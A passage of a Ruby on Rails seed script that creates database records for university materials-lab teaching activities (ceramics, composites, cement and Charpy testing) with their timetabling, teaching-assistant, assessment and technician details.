as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a422.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a423 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 2)\n at423 = ActivityTimetable.where(activity_id: a423.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a423.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a423.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a423.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a423.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a423.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a424 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at424 = ActivityTimetable.where(activity_id: a424.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a424.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a424.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a424.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a424.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a424.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a425 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at425 = ActivityTimetable.where(activity_id: a425.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a425.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a425.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a425.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a425.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a425.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a426 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 1)\n at426 = ActivityTimetable.where(activity_id: a426.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a426.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a426.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a426.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a426.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a426.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a427 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 4)\n at427 = ActivityTimetable.where(activity_id: a427.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a427.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a427.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a427.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a427.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a427.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a428 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2350\").first.id, code: \"203\").first_or_create!(name: \"Artefacts Project\",\n name_abrv: \"ARTEFACTS\", archived: false, in_drive: false, user_id: 3)\n at428 = ActivityTimetable.where(activity_id: a428.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a428.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a428.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will analyse an artefact and use various characterisation techniques to analyse its properties and materials. They will use FTIR, XRD, SEM, DSC and variuos mechanical testing techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a428.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a428.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a428.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a429 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"204\").first_or_create!(name: \"Atomic structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 1)\n at429 = ActivityTimetable.where(activity_id: a429.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a429.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a429.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a429.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a429.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a429.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a430 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"20\").first_or_create!(name: \"Atomic Structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 5)\n at430 = ActivityTimetable.where(activity_id: a430.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a430.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a430.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a430.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a430.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a430.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a431 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"205\").first_or_create!(name: \"Cement making\",\n name_abrv: \"CEMENTMAKING\", archived: false, in_drive: false, user_id: 5)\n at431 = ActivityTimetable.where(activity_id: a431.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a431.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a431.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a431.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a431.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a431.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a432 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"206\").first_or_create!(name: \"Cement making and testing\",\n name_abrv: \"CEMENT\", archived: false, in_drive: false, user_id: 4)\n at432 = ActivityTimetable.where(activity_id: a432.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a432.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a432.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a432.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a432.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a432.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a433 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"207\").first_or_create!(name: \"Cement Testing\",\n name_abrv: \"CEMENTTESTING\", archived: false, in_drive: false, user_id: 3)\n at433 = ActivityTimetable.where(activity_id: a433.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a433.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a433.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a433.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a433.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a433.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a434 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 4)\n at434 = ActivityTimetable.where(activity_id: a434.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a434.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a434.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a434.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a434.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a434.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a435 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 4)\n at435 = ActivityTimetable.where(activity_id: a435.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a435.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a435.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a435.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a435.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a435.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a436 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 3)\n at436 = ActivityTimetable.where(activity_id: a436.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a436.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a436.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a436.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a436.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a436.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a437 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"209\").first_or_create!(name: \"Characterisation of unknown polymers\",\n name_abrv: \"UN_POLY\", archived: false, in_drive: false, user_id: 3)\n at437 = ActivityTimetable.where(activity_id: a437.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a437.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a437.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a437.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a437.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a437.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a438 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"210\").first_or_create!(name: \"Charpy notch testing of steel\",\n name_abrv: \"CHARPYNOTCH\", archived: false, in_drive: false, user_id: 1)\n at438 = ActivityTimetable.where(activity_id: a438.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a438.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a438.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a438.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a438.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a438.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a439 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"211\").first_or_create!(name: \"Composite making\",\n name_abrv: \"COMPMAKING\", archived: false, in_drive: false, user_id: 2)\n at439 = ActivityTimetable.where(activity_id: a439.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a439.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a439.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a439.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a439.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a439.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a440 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR219\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: false, in_drive: false, user_id: 5)\n at440 = ActivityTimetable.where(activity_id: a440.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a440.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a440.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a440.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a440.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a440.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a441 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: true, in_drive: false, user_id: 5)\n at441 = ActivityTimetable.where(activity_id: a441.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a441.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a441.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a441.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a441.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n 